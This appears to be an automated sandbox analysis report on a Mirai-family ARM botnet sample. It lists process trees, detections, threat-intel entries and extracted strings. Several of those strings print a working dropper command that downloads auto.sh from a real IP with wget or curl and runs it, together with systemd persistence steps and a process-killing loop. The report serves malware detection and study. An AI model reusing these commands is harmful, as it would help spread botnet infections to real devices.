grep (PID: 7373, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/92/maps

sh New Fork (PID: 7374, Parent: 6239)

grep (PID: 7374, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/93/maps

sh New Fork (PID: 7375, Parent: 6239)

grep (PID: 7375, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/936/maps

sh New Fork (PID: 7376, Parent: 6239)

grep (PID: 7376, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/94/maps

sh New Fork (PID: 7377, Parent: 6239)

grep (PID: 7377, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/95/maps

sh New Fork (PID: 7378, Parent: 6239)

grep (PID: 7378, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/96/maps

sh New Fork (PID: 7379, Parent: 6239)

grep (PID: 7379, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/97/maps

sh New Fork (PID: 7380, Parent: 6239)

grep (PID: 7380, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/98/maps

sh New Fork (PID: 7381, Parent: 6239)

grep (PID: 7381, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/99/maps

gnome-session-binary New Fork (PID: 6306, Parent: 1477)

sh (PID: 6306, Parent: 1477, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -e -u -c "export GIO_LAUNCHED_DESKTOP_FILE_PID=$$; exec \"$@\"" sh /usr/bin/gnome-shell

gnome-shell (PID: 6306, Parent: 1477, MD5: da7a257239677622fe4b3a65972c9e87) Arguments: /usr/bin/gnome-shell

gnome-shell New Fork (PID: 6807, Parent: 6306)

ibus-daemon (PID: 6807, Parent: 6306, MD5: 1e00fb9860b198c73f6e364e3ff16f31) Arguments: ibus-daemon --panel disable --xim

ibus-daemon New Fork (PID: 6820, Parent: 6807)

ibus-memconf (PID: 6820, Parent: 6807, MD5: 523e939905910d06598e66385761a822) Arguments: /usr/libexec/ibus-memconf

ibus-daemon New Fork (PID: 6822, Parent: 6807)

ibus-daemon New Fork (PID: 6823, Parent: 6822)

ibus-x11 (PID: 6823, Parent: 1, MD5: 2aa1e54666191243814c2733d6992dbd) Arguments: /usr/libexec/ibus-x11 --kill-daemon

ibus-daemon New Fork (PID: 7128, Parent: 6807)

ibus-engine-simple (PID: 7128, Parent: 6807, MD5: 0238866d5e8802a0ce1b1b9af8cb1376) Arguments: /usr/libexec/ibus-engine-simple

gnome-session-binary New Fork (PID: 6333, Parent: 1477)

sh (PID: 6333, Parent: 1477, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -e -u -c "export GIO_LAUNCHED_DESKTOP_FILE_PID=$$; exec \"$@\"" sh /usr/libexec/gsd-media-keys

gsd-media-keys (PID: 6333, Parent: 1477, MD5: a425448c135afb4b8bfd79cc0b6b74da) Arguments: /usr/libexec/gsd-media-keys

systemd New Fork (PID: 6364, Parent: 1)

systemd-hostnamed (PID: 6364, Parent: 1, MD5: 2cc8a5576629a2d5bd98e49a4b8bef65) Arguments: /lib/systemd/systemd-hostnamed

xfce4-session New Fork (PID: 6537, Parent: 1900)

xfwm4 (PID: 6537, Parent: 1900, MD5: 59defa3c00cc30d85ed77b738d55e9da) Arguments: xfwm4 --display :1.0 --sm-client-id 2389ab8d9-421f-49fc-90ad-c6cc4c15ac4c

xfce4-session New Fork (PID: 6546, Parent: 1900)

xfce4-panel (PID: 6546, Parent: 1900, MD5: a15b657c7d54ac1385f1f15004ea6784) Arguments: xfce4-panel --display :1.0 --sm-client-id 2b4cc744e-8b9d-436f-9a4a-312b40faa2ec

xfce4-panel New Fork (PID: 6653, Parent: 6546)

wrapper-2.0 (PID: 6653, Parent: 6546, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libsystray.so 6 12582920 systray "Notification Area" "Area where notification icons appear"

xfce4-panel New Fork (PID: 6655, Parent: 6546)

wrapper-2.0 (PID: 6655, Parent: 6546, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libstatusnotifier.so 7 12582921 statusnotifier "Status Notifier Plugin" "Provides a panel area for status notifier items (application indicators)"

xfce4-panel New Fork (PID: 6803, Parent: 6546)

wrapper-2.0 (PID: 6803, Parent: 6546, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libpulseaudio-plugin.so 8 12582922 pulseaudio "PulseAudio Plugin" "Adjust the audio volume of the PulseAudio sound system"

xfce4-panel New Fork (PID: 6805, Parent: 6546)

wrapper-2.0 (PID: 6805, Parent: 6546, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libxfce4powermanager.so 9 12582923 power-manager-plugin "Power Manager Plugin" "Display the battery levels of your devices and control the brightness of your display"

wrapper-2.0 New Fork (PID: 6906, Parent: 6805)

xfpm-power-backlight-helper (PID: 6906, Parent: 6805, MD5: 3d221ad23f28ca3259f599b1664e2427) Arguments: /usr/sbin/xfpm-power-backlight-helper --get-max-brightness

xfce4-panel New Fork (PID: 6808, Parent: 6546)

wrapper-2.0 (PID: 6808, Parent: 6546, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libnotification-plugin.so 10 12582924 notification-plugin "Notification Plugin" "Notification plugin for the Xfce panel"

xfce4-panel New Fork (PID: 6816, Parent: 6546)

wrapper-2.0 (PID: 6816, Parent: 6546, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libactions.so 14 12582925 actions "Action Buttons" "Log out, lock or other system actions"

xfce4-session New Fork (PID: 6553, Parent: 1900)

xfdesktop (PID: 6553, Parent: 1900, MD5: dfb13e1581f80065dcea16f2476f16f2) Arguments: xfdesktop --display :1.0 --sm-client-id 29178b886-02e2-48f2-9471-8dbd02206542

xfce4-session New Fork (PID: 6592, Parent: 1900)

xfwm4 (PID: 6592, Parent: 1900, MD5: 59defa3c00cc30d85ed77b738d55e9da) Arguments: xfwm4 --display :1.0 --sm-client-id 2389ab8d9-421f-49fc-90ad-c6cc4c15ac4c

xfce4-session New Fork (PID: 6597, Parent: 1900)

xfdesktop (PID: 6597, Parent: 1900, MD5: dfb13e1581f80065dcea16f2476f16f2) Arguments: xfdesktop --display :1.0 --sm-client-id 29178b886-02e2-48f2-9471-8dbd02206542

dbus-daemon New Fork (PID: 6637, Parent: 6636)

tumblerd (PID: 6637, Parent: 6636, MD5: 2ef099898845e9c5ec6f1a6fd3ad61af) Arguments: /usr/lib/x86_64-linux-gnu/tumbler-1/tumblerd

xfce4-session New Fork (PID: 6649, Parent: 1900)

xfwm4 (PID: 6649, Parent: 1900, MD5: 59defa3c00cc30d85ed77b738d55e9da) Arguments: xfwm4 --display :1.0 --sm-client-id 2389ab8d9-421f-49fc-90ad-c6cc4c15ac4c

systemd New Fork (PID: 6656, Parent: 1)

systemd-localed (PID: 6656, Parent: 1, MD5: 1244af9646256d49594f2a8203329aa9) Arguments: /lib/systemd/systemd-localed

systemd New Fork (PID: 6806, Parent: 1860)

gvfs-udisks2-volume-monitor (PID: 6806, Parent: 1860, MD5: 4912ae23684d55062ac889dd671a8ab9) Arguments: /usr/libexec/gvfs-udisks2-volume-monitor

dbus-daemon New Fork (PID: 6825, Parent: 6824)

ibus-portal (PID: 6825, Parent: 6824, MD5: 562ad55bd9a4d54bd7b76746b01e37d3) Arguments: /usr/libexec/ibus-portal

xfce4-session New Fork (PID: 6836, Parent: 1900)

xfwm4 (PID: 6836, Parent: 1900, MD5: 59defa3c00cc30d85ed77b738d55e9da) Arguments: xfwm4 --display :1.0 --sm-client-id 2389ab8d9-421f-49fc-90ad-c6cc4c15ac4c

Xorg New Fork (PID: 6893, Parent: 1465)

sh (PID: 6893, Parent: 1465, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "\"/usr/bin/xkbcomp\" -w 1 \"-R/usr/share/X11/xkb\" -xkm \"-\" -em1 \"The XKEYBOARD keymap compiler (xkbcomp) reports:\" -emp \"> \" -eml \"Errors from xkbcomp are not fatal to the X server\" \"/tmp/server-0.xkm\""

sh New Fork (PID: 6895, Parent: 6893)

xkbcomp (PID: 6895, Parent: 6893, MD5: c5f953aec4c00d2a1cc27acb75d62c9b) Arguments: /usr/bin/xkbcomp -w 1 -R/usr/share/X11/xkb -xkm - -em1 "The XKEYBOARD keymap compiler (xkbcomp) reports:" -emp "> " -eml "Errors from xkbcomp are not fatal to the X server" /tmp/server-0.xkm

xfce4-session New Fork (PID: 6909, Parent: 1900)

xfwm4 (PID: 6909, Parent: 1900, MD5: 59defa3c00cc30d85ed77b738d55e9da) Arguments: xfwm4 --display :1.0 --sm-client-id 2389ab8d9-421f-49fc-90ad-c6cc4c15ac4c

systemd New Fork (PID: 6923, Parent: 1)

accounts-daemon (PID: 6923, Parent: 1, MD5: 01a899e3fb5e7e434bea1290255a1f30) Arguments: /usr/lib/accountsservice/accounts-daemon

accounts-daemon New Fork (PID: 6944, Parent: 6923)

language-validate (PID: 6944, Parent: 6923, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /usr/share/language-tools/language-validate en_US.UTF-8

language-validate New Fork (PID: 6945, Parent: 6944)

language-options (PID: 6945, Parent: 6944, MD5: 16a21f464119ea7fad1d3660de963637) Arguments: /usr/share/language-tools/language-options

language-options New Fork (PID: 6947, Parent: 6945)

sh (PID: 6947, Parent: 6945, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "locale -a | grep -F .utf8 "

sh New Fork (PID: 6949, Parent: 6947)

locale (PID: 6949, Parent: 6947, MD5: c72a78792469db86d91369c9057f20d2) Arguments: locale -a

sh New Fork (PID: 6950, Parent: 6947)

grep (PID: 6950, Parent: 6947, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -F .utf8

systemd New Fork (PID: 6970, Parent: 1)

geoclue (PID: 6970, Parent: 1, MD5: 30ac5455f3c598dde91dc87477fb19f7) Arguments: /usr/libexec/geoclue

dbus-daemon New Fork (PID: 7083, Parent: 7082)

gjs (PID: 7083, Parent: 7082, MD5: 5f3eceb792bb65c22f23d1efb4fde3ad) Arguments: /usr/bin/gjs /usr/share/gnome-shell/org.gnome.Shell.Notifications

systemd New Fork (PID: 7197, Parent: 1)

fprintd (PID: 7197, Parent: 1, MD5: b0d8829f05cd028529b84b061b660e84) Arguments: /usr/libexec/fprintd

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
arm7.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: arm7.elf

Avira: detected

Multi AV Scanner detection for submitted file

Source: arm7.elf

ReversingLabs: Detection: 48%

Source: /usr/bin/gnome-shell (PID: 6306)	Reads CPU info from /sys: /sys/devices/system/cpu/online	Jump to behavior
Source: /usr/bin/xfwm4 (PID: 6537)	Reads CPU info from /sys: /sys/devices/system/cpu/online
Source: /usr/lib/x86_64-linux-gnu/tumbler-1/tumblerd (PID: 6637)	Reads CPU info from /sys: /sys/devices/system/cpu/online

Source: arm7.elf	String: cd /tmp \|\| cd /var/run \|\| cd /mnt \|\| cd /root \|\| cd / \|\| cd /home; wget http://154.216.18.192/auto.sh \|\| busybox wget http://154.216.18.192/auto.sh \|\| curl -O http://154.216.18.192/auto.sh; chmod 777 auto.sh; ./auto.sh %s
Source: arm7.elf	String: /proc//exe%s/%s/proc/%s/cmdlinewgetcurlnetstatgreppsbusyboxlsmvechokillkillallbashrebootshutdownhaltiptablespowerofffaggot got malware'd/tmp/opt/home/dev/var/sbin/proc/self/exe//mnt/root/dev/console/etc/rc.localwfopen#!/bin/sh
Source: arm7.elf	String: systemctl daemon-reloadsystemctl enable startup_command.service/usr/bin/systemctl/etc/init.dfor pid in $(ls /proc \| grep -E '^[0-9]+$'); do grep -q '(deleted)' /proc/$pid/maps && kill -9 $pid \|\| true; done;cd /tmp \|\| cd /var/run \|\| cd /mnt \|\| cd /root \|\| cd / \|\| cd /home; wget http://154.216.18.192/auto.sh \|\| busybox wget http://154.216.18.192/auto.sh \|\| curl -O http://154.216.18.192/auto.sh; chmod 777 auto.sh; ./auto.sh %s/dev/watchdog/dev/misc/watchdogmade you my bitch

Source: /usr/bin/ibus-daemon (PID: 6807)

Socket: unknown address family

Source: global traffic	TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic	TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic	TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80

Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42

Source: arm7.elf	String found in binary or memory: http://154.216.18.192/auto.sh
Source: arm7.elf	String found in binary or memory: http://154.216.18.192/auto.sh;

Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443

System Summary

Sample tries to kill multiple processes (SIGKILL)

Source: /bin/sh (PID: 6239)	SIGKILL sent: pid: 1465, result: successful	Jump to behavior
Source: /bin/sh (PID: 6239)	SIGKILL sent: pid: 1532, result: successful	Jump to behavior
Source: /bin/sh (PID: 6239)	SIGKILL sent: pid: 1601, result: successful	Jump to behavior
Source: /bin/sh (PID: 6239)	SIGKILL sent: pid: 1648, result: successful	Jump to behavior
Source: /bin/sh (PID: 6239)	SIGKILL sent: pid: 1877, result: successful	Jump to behavior
Source: /bin/sh (PID: 6239)	SIGKILL sent: pid: 1890, result: successful	Jump to behavior
Source: /bin/sh (PID: 6239)	SIGKILL sent: pid: 2009, result: successful	Jump to behavior
Source: /bin/sh (PID: 6239)	SIGKILL sent: pid: 2050, result: successful	Jump to behavior
Source: /bin/sh (PID: 6239)	SIGKILL sent: pid: 2063, result: successful	Jump to behavior
Source: /bin/sh (PID: 6239)	SIGKILL sent: pid: 2074, result: successful	Jump to behavior
Source: /bin/sh (PID: 6239)	SIGKILL sent: pid: 2096, result: successful	Jump to behavior
Source: /bin/sh (PID: 6239)	SIGKILL sent: pid: 2097, result: successful	Jump to behavior
Source: /bin/sh (PID: 6239)	SIGKILL sent: pid: 2114, result: successful	Jump to behavior
Source: /bin/sh (PID: 6239)	SIGKILL sent: pid: 2180, result: successful	Jump to behavior
Source: /bin/sh (PID: 6239)	SIGKILL sent: pid: 2195, result: successful	Jump to behavior
Source: /bin/sh (PID: 6239)	SIGKILL sent: pid: 2226, result: successful	Jump to behavior
Source: /bin/sh (PID: 6239)	SIGKILL sent: pid: 2242, result: successful	Jump to behavior
Source: /bin/sh (PID: 6239)	SIGKILL sent: pid: 2275, result: successful	Jump to behavior

Source: arm7.elf

ELF static info symbol of initial sample: __gnu_unwind_execute

Source: Initial sample	String containing 'busybox' found: busybox
Source: Initial sample	String containing 'busybox' found: cd /tmp \|\| cd /var/run \|\| cd /mnt \|\| cd /root \|\| cd / \|\| cd /home; wget http://154.216.18.192/auto.sh \|\| busybox wget http://154.216.18.192/auto.sh \|\| curl -O http://154.216.18.192/auto.sh; chmod 777 auto.sh; ./auto.sh %s
Source: Initial sample	String containing 'busybox' found: /proc//exe%s/%s/proc/%s/cmdlinewgetcurlnetstatgreppsbusyboxlsmvechokillkillallbashrebootshutdownhaltiptablespowerofffaggot got malware'd/tmp/opt/home/dev/var/sbin/proc/self/exe//mnt/root/dev/console/etc/rc.localwfopen#!/bin/sh
Source: Initial sample	String containing 'busybox' found: systemctl daemon-reloadsystemctl enable startup_command.service/usr/bin/systemctl/etc/init.dfor pid in $(ls /proc \| grep -E '^[0-9]+$'); do grep -q '(deleted)' /proc/$pid/maps && kill -9 $pid \|\| true; done;cd /tmp \|\| cd /var/run \|\| cd /mnt \|\| cd /root \|\| cd / \|\| cd /home; wget http://154.216.18.192/auto.sh \|\| busybox wget http://154.216.18.192/auto.sh \|\| curl -O http://154.216.18.192/auto.sh; chmod 777 auto.sh; ./auto.sh %s/dev/watchdog/dev/misc/watchdogmade you my bitch

Source: /bin/sh (PID: 6239)	SIGKILL sent: pid: 1465, result: successful	Jump to behavior
Source: /bin/sh (PID: 6239)	SIGKILL sent: pid: 1532, result: successful	Jump to behavior
Source: /bin/sh (PID: 6239)	SIGKILL sent: pid: 1601, result: successful	Jump to behavior
Source: /bin/sh (PID: 6239)	SIGKILL sent: pid: 1648, result: successful	Jump to behavior
Source: /bin/sh (PID: 6239)	SIGKILL sent: pid: 1877, result: successful	Jump to behavior
Source: /bin/sh (PID: 6239)	SIGKILL sent: pid: 1890, result: successful	Jump to behavior
Source: /bin/sh (PID: 6239)	SIGKILL sent: pid: 2009, result: successful	Jump to behavior
Source: /bin/sh (PID: 6239)	SIGKILL sent: pid: 2050, result: successful	Jump to behavior
Source: /bin/sh (PID: 6239)	SIGKILL sent: pid: 2063, result: successful	Jump to behavior
Source: /bin/sh (PID: 6239)	SIGKILL sent: pid: 2074, result: successful	Jump to behavior
Source: /bin/sh (PID: 6239)	SIGKILL sent: pid: 2096, result: successful	Jump to behavior
Source: /bin/sh (PID: 6239)	SIGKILL sent: pid: 2097, result: successful	Jump to behavior
Source: /bin/sh (PID: 6239)	SIGKILL sent: pid: 2114, result: successful	Jump to behavior
Source: /bin/sh (PID: 6239)	SIGKILL sent: pid: 2180, result: successful	Jump to behavior
Source: /bin/sh (PID: 6239)	SIGKILL sent: pid: 2195, result: successful	Jump to behavior
Source: /bin/sh (PID: 6239)	SIGKILL sent: pid: 2226, result: successful	Jump to behavior
Source: /bin/sh (PID: 6239)	SIGKILL sent: pid: 2242, result: successful	Jump to behavior
Source: /bin/sh (PID: 6239)	SIGKILL sent: pid: 2275, result: successful	Jump to behavior

Source: classification engine

Classification label: mal76.spre.troj.linELF@0/5@0/0

Persistence and Installation Behavior

Sample reads /proc/mounts (often used for finding a writable filesystem)

Source: /usr/bin/gnome-shell (PID: 6306)	File: /proc/6306/mounts			Jump to behavior
Source: /usr/bin/gjs (PID: 7083)	File: /proc/7083/mounts

Source: /usr/bin/gnome-shell (PID: 6306)	Directory: /var/lib/gdm3/.drirc	Jump to behavior
Source: /usr/bin/gnome-shell (PID: 6306)	Directory: /var/lib/gdm3/.Xdefaults	Jump to behavior
Source: /usr/bin/gnome-shell (PID: 6306)	Directory: /var/lib/gdm3/.Xdefaults-galassia	Jump to behavior
Source: /usr/libexec/ibus-x11 (PID: 6823)	Directory: /var/lib/gdm3/.Xdefaults
Source: /usr/libexec/ibus-x11 (PID: 6823)	Directory: /var/lib/gdm3/.Xdefaults-galassia
Source: /usr/libexec/gsd-media-keys (PID: 6333)	Directory: /var/lib/gdm3/.Xdefaults
Source: /usr/libexec/gsd-media-keys (PID: 6333)	Directory: /var/lib/gdm3/.Xdefaults-galassia
Source: /usr/libexec/gsd-media-keys (PID: 6333)	Directory: /usr/share/locale/en_US.UTF-8/LC_MESSAGES/.mo
Source: /usr/libexec/gsd-media-keys (PID: 6333)	Directory: /usr/share/locale/en_US.utf8/LC_MESSAGES/.mo
Source: /usr/libexec/gsd-media-keys (PID: 6333)	Directory: /usr/share/locale/en_US/LC_MESSAGES/.mo
Source: /usr/libexec/gsd-media-keys (PID: 6333)	Directory: /usr/share/locale/en.UTF-8/LC_MESSAGES/.mo
Source: /usr/libexec/gsd-media-keys (PID: 6333)	Directory: /usr/share/locale/en.utf8/LC_MESSAGES/.mo
Source: /usr/libexec/gsd-media-keys (PID: 6333)	Directory: /usr/share/locale/en/LC_MESSAGES/.mo
Source: /usr/libexec/gsd-media-keys (PID: 6333)	Directory: /usr/share/locale-langpack/en_US.UTF-8/LC_MESSAGES/.mo
Source: /usr/libexec/gsd-media-keys (PID: 6333)	Directory: /usr/share/locale-langpack/en_US.utf8/LC_MESSAGES/.mo
Source: /usr/libexec/gsd-media-keys (PID: 6333)	Directory: /usr/share/locale-langpack/en_US/LC_MESSAGES/.mo
Source: /usr/libexec/gsd-media-keys (PID: 6333)	Directory: /usr/share/locale-langpack/en.UTF-8/LC_MESSAGES/.mo
Source: /usr/libexec/gsd-media-keys (PID: 6333)	Directory: /usr/share/locale-langpack/en.utf8/LC_MESSAGES/.mo
Source: /usr/libexec/gsd-media-keys (PID: 6333)	Directory: /usr/share/locale-langpack/en/LC_MESSAGES/.mo
Source: /lib/systemd/systemd-hostnamed (PID: 6364)	Directory: <invalid fd (10)>/..
Source: /usr/bin/xfwm4 (PID: 6537)	Directory: /home/saturnino/.Xdefaults-galassia
Source: /usr/bin/xfwm4 (PID: 6537)	Directory: /usr/share/fonts/.uuid
Source: /usr/bin/xfwm4 (PID: 6537)	Directory: /usr/local/share/fonts/.uuid
Source: /usr/bin/xfwm4 (PID: 6537)	Directory: /home/saturnino/.local/share/fonts/.uuid
Source: /usr/bin/xfwm4 (PID: 6537)	Directory: /home/saturnino/.fonts/.uuid
Source: /usr/bin/xfwm4 (PID: 6537)	Directory: /usr/share/fonts/X11/.uuid
Source: /usr/bin/xfwm4 (PID: 6537)	Directory: /usr/share/fonts/cMap/.uuid
Source: /usr/bin/xfwm4 (PID: 6537)	Directory: /usr/share/fonts/cmap/.uuid
Source: /usr/bin/xfwm4 (PID: 6537)	Directory: /usr/share/fonts/opentype/.uuid
Source: /usr/bin/xfwm4 (PID: 6537)	Directory: /usr/share/fonts/truetype/.uuid
Source: /usr/bin/xfwm4 (PID: 6537)	Directory: /usr/share/fonts/type1/.uuid
Source: /usr/bin/xfwm4 (PID: 6537)	Directory: /usr/share/fonts/X11/Type1/.uuid
Source: /usr/bin/xfwm4 (PID: 6537)	Directory: /usr/share/fonts/X11/encodings/.uuid
Source: /usr/bin/xfwm4 (PID: 6537)	Directory: /usr/share/fonts/X11/misc/.uuid
Source: /usr/bin/xfwm4 (PID: 6537)	Directory: /usr/share/fonts/X11/util/.uuid
Source: /usr/bin/xfwm4 (PID: 6537)	Directory: /usr/share/fonts/cmap/adobe-cns1/.uuid
Source: /usr/bin/xfwm4 (PID: 6537)	Directory: /usr/share/fonts/cmap/adobe-gb1/.uuid
Source: /usr/bin/xfwm4 (PID: 6537)	Directory: /usr/share/fonts/cmap/adobe-japan1/.uuid
Source: /usr/bin/xfwm4 (PID: 6537)	Directory: /usr/share/fonts/cmap/adobe-japan2/.uuid
Source: /usr/bin/xfwm4 (PID: 6537)	Directory: /usr/share/fonts/cmap/adobe-korea1/.uuid
Source: /usr/bin/xfwm4 (PID: 6537)	Directory: /usr/share/fonts/opentype/malayalam/.uuid
Source: /usr/bin/xfwm4 (PID: 6537)	Directory: /usr/share/fonts/opentype/mathjax/.uuid
Source: /usr/bin/xfwm4 (PID: 6537)	Directory: /usr/share/fonts/opentype/noto/.uuid
Source: /usr/bin/xfwm4 (PID: 6537)	Directory: /usr/share/fonts/opentype/urw-base35/.uuid
Source: /usr/bin/xfwm4 (PID: 6537)	Directory: /usr/share/fonts/truetype/Gargi/.uuid
Source: /usr/bin/xfwm4 (PID: 6537)	Directory: /usr/share/fonts/truetype/Gubbi/.uuid
Source: /usr/bin/xfwm4 (PID: 6537)	Directory: /usr/share/fonts/truetype/Nakula/.uuid
Source: /usr/bin/xfwm4 (PID: 6537)	Directory: /usr/share/fonts/truetype/Navilu/.uuid
Source: /usr/bin/xfwm4 (PID: 6537)	Directory: /usr/share/fonts/truetype/Sahadeva/.uuid
Source: /usr/bin/xfwm4 (PID: 6537)	Directory: /usr/share/fonts/truetype/Sarai/.uuid
Source: /usr/bin/xfwm4 (PID: 6537)	Directory: /usr/share/fonts/truetype/abyssinica/.uuid
Source: /usr/bin/xfwm4 (PID: 6537)	Directory: /usr/share/fonts/truetype/ancient-scripts/.uuid
Source: /usr/bin/xfwm4 (PID: 6537)	Directory: /usr/share/fonts/truetype/dejavu/.uuid
Source: /usr/bin/xfwm4 (PID: 6537)	Directory: /usr/share/fonts/truetype/droid/.uuid
Source: /usr/bin/xfwm4 (PID: 6537)	Directory: /usr/share/fonts/truetype/fonts-beng-extra/.uuid
Source: /usr/bin/xfwm4 (PID: 6537)	Directory: /usr/share/fonts/truetype/fonts-deva-extra/.uuid
Source: /usr/bin/xfwm4 (PID: 6537)	Directory: /usr/share/fonts/truetype/fonts-gujr-extra/.uuid
Source: /usr/bin/xfwm4 (PID: 6537)	Directory: /usr/share/fonts/truetype/fonts-guru-extra/.uuid
Source: /usr/bin/xfwm4 (PID: 6537)	Directory: /usr/share/fonts/truetype/fonts-kalapi/.uuid
Source: /usr/bin/xfwm4 (PID: 6537)	Directory: /usr/share/fonts/truetype/fonts-orya-extra/.uuid
Source: /usr/bin/xfwm4 (PID: 6537)	Directory: /usr/share/fonts/truetype/fonts-telu-extra/.uuid
Source: /usr/bin/xfwm4 (PID: 6537)	Directory: /usr/share/fonts/truetype/fonts-yrsa-rasa/.uuid
Source: /usr/bin/xfwm4 (PID: 6537)	Directory: /usr/share/fonts/truetype/freefont/.uuid
Source: /usr/bin/xfwm4 (PID: 6537)	Directory: /usr/share/fonts/truetype/kacst/.uuid
Source: /usr/bin/xfwm4 (PID: 6537)	Directory: /usr/share/fonts/truetype/kacst-one/.uuid
Source: /usr/bin/xfwm4 (PID: 6537)	Directory: /usr/share/fonts/truetype/lao/.uuid
Source: /usr/bin/xfwm4 (PID: 6537)	Directory: /usr/share/fonts/truetype/lato/.uuid
Source: /usr/bin/xfwm4 (PID: 6537)	Directory: /usr/share/fonts/truetype/liberation/.uuid
Source: /usr/bin/xfwm4 (PID: 6537)	Directory: /usr/share/fonts/truetype/liberation2/.uuid
Source: /usr/bin/xfwm4 (PID: 6537)	Directory: /usr/share/fonts/truetype/lohit-assamese/.uuid
Source: /usr/bin/xfwm4 (PID: 6537)	Directory: /usr/share/fonts/truetype/lohit-bengali/.uuid
Source: /usr/bin/xfwm4 (PID: 6537)	Directory: /usr/share/fonts/truetype/lohit-devanagari/.uuid
Source: /usr/bin/xfwm4 (PID: 6537)	Directory: /usr/share/fonts/truetype/lohit-gujarati/.uuid
Source: /usr/bin/xfwm4 (PID: 6537)	Directory: /usr/share/fonts/truetype/lohit-kannada/.uuid
Source: /usr/bin/xfwm4 (PID: 6537)	Directory: /usr/share/fonts/truetype/lohit-malayalam/.uuid
Source: /usr/bin/xfwm4 (PID: 6537)	Directory: /usr/share/fonts/truetype/lohit-oriya/.uuid
Source: /usr/bin/xfwm4 (PID: 6537)	Directory: /usr/share/fonts/truetype/lohit-punjabi/.uuid
Source: /usr/bin/xfwm4 (PID: 6537)	Directory: /usr/share/fonts/truetype/lohit-tamil/.uuid
Source: /usr/bin/xfwm4 (PID: 6537)	Directory: /usr/share/fonts/truetype/lohit-tamil-classical/.uuid
Source: /usr/bin/xfwm4 (PID: 6537)	Directory: /usr/share/fonts/truetype/lohit-telugu/.uuid
Source: /usr/bin/xfwm4 (PID: 6537)	Directory: /usr/share/fonts/truetype/malayalam/.uuid
Source: /usr/bin/xfwm4 (PID: 6537)	Directory: /usr/share/fonts/truetype/noto/.uuid
Source: /usr/bin/xfwm4 (PID: 6537)	Directory: /usr/share/fonts/truetype/openoffice/.uuid
Source: /usr/bin/xfwm4 (PID: 6537)	Directory: /usr/share/fonts/truetype/padauk/.uuid
Source: /usr/bin/xfwm4 (PID: 6537)	Directory: /usr/share/fonts/truetype/pagul/.uuid
Source: /usr/bin/xfwm4 (PID: 6537)	Directory: /usr/share/fonts/truetype/samyak/.uuid
